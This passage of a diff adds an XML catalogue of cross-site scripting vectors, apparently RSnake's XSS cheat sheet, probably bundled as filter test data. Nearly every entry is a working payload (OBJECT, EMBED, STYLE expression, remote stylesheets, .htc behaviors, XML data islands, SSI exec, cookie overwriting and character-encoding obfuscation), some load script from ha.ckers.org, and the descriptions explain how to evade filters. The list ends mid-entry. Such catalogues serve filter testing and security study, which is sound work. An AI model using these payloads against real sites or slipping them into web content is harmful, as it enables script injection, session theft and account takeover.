+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT w/Embedded XSS</name> 
+		<code>&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;</code> 
+		<desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Embed Flash</name> 
+		<code>&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;</code> 
+		<desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=&quot;never&quot; and allownetworking=&quot;internal&quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT w/Flash 2</name> 
+		<code>a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);</code> 
+		<desc>Using this action script inside flash can obfuscate your XSS vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE</name> 
+		<code>&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;</code> 
+		<desc>STYLE tag (Older versions of Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/Comment</name> 
+		<code>&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/Anonymous HTML</name> 
+		<code>&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don&apos;t really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/background-image</name> 
+		<code>&lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;</code> 
+		<desc>STYLE tag using background-image.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/background</name> 
+		<code>&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;</code> 
+		<desc>STYLE tag using background.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Stylesheet</name> 
+		<code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Stylesheet</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 1</name> 
+		<code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;</code> 
+		<desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode.  Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won&apos;t work unless there is some content on the page other than the vector itself, so you&apos;ll need to add a single letter to the page to make it work if it&apos;s an otherwise blank page.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 2</name> 
+		<code>&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;</code> 
+		<desc>Remote style sheet part 2 (this works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html.  As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it.  This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 3</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;</code> 
+		<desc>Remote style sheet part 3. This only works in Opera but is fairly tricky.  Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera).  The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 4</name> 
+		<code>&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;</code> 
+		<desc>Remote style sheet part 4.  This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>TABLE</name> 
+		<code>&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;</code> 
+		<desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>TD</name> 
+		<code>&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;</code> 
+		<desc>TD background.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML namespace</name> 
+		<code>&lt;HTML xmlns:xss&gt;
+&lt;?import namespace=&quot;xss&quot; implementation=&quot;http://ha.ckers.org/xss.htc&quot;&gt;
+&lt;xss:xss&gt;XSS&lt;/xss:xss&gt;
+&lt;/HTML&gt;</code> 
+		<desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML data island w/CDATA</name> 
+		<code>&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;
+&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;</code> 
+		<desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML data island w/comment</name> 
+		<code>&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=&quot;#xss&quot; DATAFLD=&quot;B&quot; DATAFORMATAS=&quot;HTML&quot;&gt;&lt;/SPAN&gt;</code> 
+		<desc>XML data island with comment obfuscation (doesn&apos;t use CDATA fields, but rather uses comments to break up the javascript directive)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML (locally hosted)</name> 
+		<code>&lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</code> 
+		<desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML HTML+TIME</name> 
+		<code>&lt;HTML&gt;&lt;BODY&gt;
+&lt;?xml:namespace prefix=&quot;t&quot; ns=&quot;urn:schemas-microsoft-com:time&quot;&gt;
+&lt;?import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt;
+&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSS&lt;SCRIPT DEFER&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt; &lt;/BODY&gt;&lt;/HTML&gt;</code> 
+		<desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Commented-out Block</name> 
+		<code>&lt;!--[if gte IE 4]&gt;
+&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;
+&lt;![endif]--&gt;</code> 
+		<desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode).  Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless.  As we can see, that probably wouldn't do the job.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Cookie Manipulation</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;</code> 
+		<desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where &lt;META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim&apos;s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Local .htc file</name> 
+		<code>&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;</code> 
+		<desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Rename .js to .jpg</name> 
+		<code>&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Assuming you can only fit in a few characters and it filters against &quot;.js&quot; you can rename your JavaScript file to an image as an XSS vector.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SSI</name> 
+		<code>&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;</code> 
+		<desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector.  I probably don&apos;t need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>PHP</name> 
+		<code>&lt;? echo(&apos;&lt;SCR)&apos;;
+echo(&apos;IPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&apos;); ?&gt;</code> 
+		<desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>JavaScript Includes</name> 
+		<code>&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;</code> 
+		<desc>&amp;JavaScript includes (works in Netscape 4.x).</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Character Encoding Example</name> 
+		<code>&lt;
+%3C
+&amp;lt
+&amp;lt;
+&amp;LT
+&amp;LT;
+&amp;#60
+&amp;#060
+&amp;#0060
+&amp;#00060
+&amp;#000060
+&amp;#0000060
+&amp;#60;
+&amp;#060;
+&amp;#0060;
+&amp;#00060;
+&amp;#000060;
+&amp;#0000060;
+&amp;#x3c
+&amp;#x03c
+&amp;#x003c
+&amp;#x0003c
+&amp;#x00003c
+&amp;#x000003c
+&amp;#x3c;
+&amp;#x03c;
+&amp;#x003c;
+&amp;#x0003c;
+&amp;#x00003c;
+&amp;#x000003c;
+&amp;#X3c
+&amp;#X03c
+&amp;#X003c
+&amp;#X0003c
+&amp;#X00003c
+&amp;#X000003c
+&amp;#X3c;
+&amp;#X03c;
+&amp;#X003c;
+&amp;#X0003c;
+&amp;#X00003c;
+&amp;#X000003c;
+&amp;#x3C
+&amp;#x03C
+&amp;#x003C
+&amp;#x0003C
+&amp;#x00003C
+&amp;#x000003C
+&amp;#x3C;
+&amp;#x03C;
+&amp;#x003C;
+&amp;#x0003C;
+&amp;#x00003C;
+&amp;#x000003C;
+&amp;#X3C
+&amp;#X03C
+&amp;#X003C
+&amp;#X0003C
+&amp;#X00003C
+&amp;#X000003C
+&amp;#X3C;
+&amp;#X03C;
+&amp;#X003C;
+&amp;#X0003C;
+&amp;#X00003C;
+&amp;#X000003C;
+\x3c
+\x3C
+\u003c
+\u003C</code> 
+		<desc>All of the possible combinations of the character &quot;&lt;&quot; in HTML and JavaScript.  Most of these won&apos;t render, but many of them can get rendered in certain circumstances (standards are great, aren&apos;t they?).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Case Insensitive</name> 
+		<code>&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>Case insensitive XSS attack vector.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>HTML Entities</name> 
+		<code>&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</code> 
+		<desc>HTML entities (the semicolons are required for this to work).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Grave Accents</name> 
+		<code>&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;</code> 
+		<desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don&apos;t know about grave accents).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Image w/CharCode</name> 
+		<code>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</code> 
+		<desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>UTF-8 Unicode Encoding</name> 
+		<code>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</code> 
+		<desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Long UTF-8 Unicode w/out Semicolons</name> 
